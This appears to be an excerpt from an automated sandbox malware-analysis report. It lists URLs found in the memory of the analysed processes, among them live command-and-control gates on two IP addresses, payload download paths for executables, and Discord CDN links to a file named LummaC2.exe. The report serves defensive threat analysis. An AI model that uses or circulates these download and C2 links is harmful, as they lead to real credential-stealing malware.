Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php118001
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php19001
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php6.
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php9001
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpB.
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpC
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpD;.VBS;.VBE;.JS;.JSE;.W1
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpJ
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpLOCALAPPDATA=C:
Source: axplong.exe, 00000002.00000002.4522273663.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpM_H
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpSER_USER_PROFILE_STRINGH
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpSSOR_ARCHITEW6432=AMD64
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpTMP=C:
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpTPath=C:
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpV.
Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded3
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpes
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpf/
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpfons
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpfonswindir=C:
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpive=C:SystemRoot=C:
Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedC
Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedn
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedy
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnuN.:
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnuz/
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpogramFiles(x86)=C:
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=
Source: 69de3a997f.exe, 00000010.00000003.3190170576.0000000000D44000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/O
Source: 69de3a997f.exe, 00000010.00000003.3190170576.0000000000D44000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/j
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lfons
Source: axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3003218366.0000000000BAA000.00000004.00000010.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188049460.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3196676680.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3190170576.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188503917.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeQN
Source: 69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188049460.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/rosoft
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 69de3a997f.exe, 00000010.00000002.3200693291.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3189550027.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exerosoft
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 98a31794c6.exe, 00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2410605365.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3J
Source: 98a31794c6.exe, 00000008.00000002.2410605365.0000000001372000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2410605365.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2410605365.000000000139F000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/LJ
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB7
Source: 98a31794c6.exe, 00000008.00000002.2410605365.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB:
Source: 98a31794c6.exe, 00000008.00000002.2410605365.000000000139F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpKB
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpV7
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpWJ
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg_
Source: 98a31794c6.exe, 00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk_
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpn7
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpr7
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: 98a31794c6.exe, 00000008.00000002.2410605365.0000000001372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpv
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/=
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/G
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/R
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/p
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2061
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206L
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 69de3a997f.exe, 00000010.00000003.3121461561.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microH
Source: 69de3a997f.exe, 0000000D.00000003.2929466250.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2930232763.0000000000C67000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000002.2948124698.0000000000C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: InstallUtil.exe, 00000007.00000002.4541578303.0000000004F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: InstallUtil.exe, 00000007.00000002.4541578303.0000000004FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: InstallUtil.exe, 00000007.00000002.4532503032.0000000002B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipwho.is
Source: InstallUtil.exe, 00000007.00000002.4532503032.0000000002B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipwho.isd
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: InstallUtil.exe, 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: InstallUtil.exe, 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/d
Source: uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: 69de3a997f.exe, 00000009.00000003.2613870413.0000000005871000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: axplong.exe, 00000002.00000002.4522273663.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: axplong.exe, 00000002.00000002.4522273663.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/D
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=672122
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1286706039475015741/1300606302422044754/uhshdsh.exe?ex=672173
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 69de3a997f.exe, 00000009.00000003.2613870413.0000000005871000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 98a31794c6.exe, 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
